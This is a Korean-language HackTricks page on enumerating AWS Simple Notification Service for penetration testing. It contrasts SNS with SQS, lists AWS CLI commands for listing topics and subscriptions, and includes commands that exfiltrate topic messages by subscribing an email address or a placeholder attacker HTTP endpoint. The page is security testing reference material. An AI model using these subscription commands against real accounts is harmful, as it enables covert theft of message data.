AWS - SNS Enum

Support HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS)는 완전 관리형 메시징 서비스로 설명됩니다. 이는 애플리케이션 간 (A2A) 및 애플리케이션-사람 간 (A2P) 통신 유형을 모두 지원합니다.

A2A 통신의 주요 기능에는 발행/구독 (pub/sub) 메커니즘이 포함됩니다. 이러한 메커니즘은 주제를 도입하여 고처리량, 푸시 기반, 다대다 메시징을 가능하게 합니다. 이 기능은 분산 시스템, 마이크로서비스 및 이벤트 기반 서버리스 아키텍처와 관련된 시나리오에서 매우 유리합니다. 이러한 주제를 활용하여 발행 시스템은 다양한 구독 시스템에 메시지를 효율적으로 배포할 수 있으며, 팬아웃 메시징 패턴을 촉진합니다.

SQS와의 차이점

SQS큐 기반 서비스로, 메시지가 단일 소비자에 의해 처리되도록 보장하는 포인트 투 포인트 통신을 허용합니다. 이는 최소 한 번의 전달을 제공하며, 표준 및 FIFO 큐를 지원하고, 재시도 및 지연 처리를 위한 메시지 보존을 허용합니다. 반면에, SNS발행/구독 기반 서비스로, 메시지를 여러 구독자에게 동시에 방송하여 일대다 통신을 가능하게 합니다. 이는 이메일, SMS, Lambda 함수, HTTP/HTTPS와 같은 다양한 구독 엔드포인트를 지원하며, 타겟 메시지 전달을 위한 필터링 메커니즘을 제공합니다. 두 서비스 모두 분산 시스템에서 구성 요소 간의 디커플링을 가능하게 하지만, SQS는 큐 통신에 중점을 두고, SNS는 이벤트 기반, 팬아웃 통신 패턴을 강조합니다.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

FIFO 유형의 topic인 경우, SQS 프로토콜을 사용하는 구독자만 사용할 수 있습니다 (HTTP 또는 HTTPS는 사용할 수 없습니다).

또한, --topic-arn에 지역이 포함되어 있더라도 **--region**에 올바른 지역을 지정해야 합니다. 그렇지 않으면 접근 권한이 없다는 오류가 발생할 수 있지만 실제 문제는 지역 설정입니다.

Unauthenticated Access

AWS - SNS Unauthenticated Enum

Privilege Escalation

AWS - SNS Privesc

Post Exploitation

AWS - SNS Post Exploitation

Persistence

AWS - SNS Persistence

References

HackTricks 지원

Last updated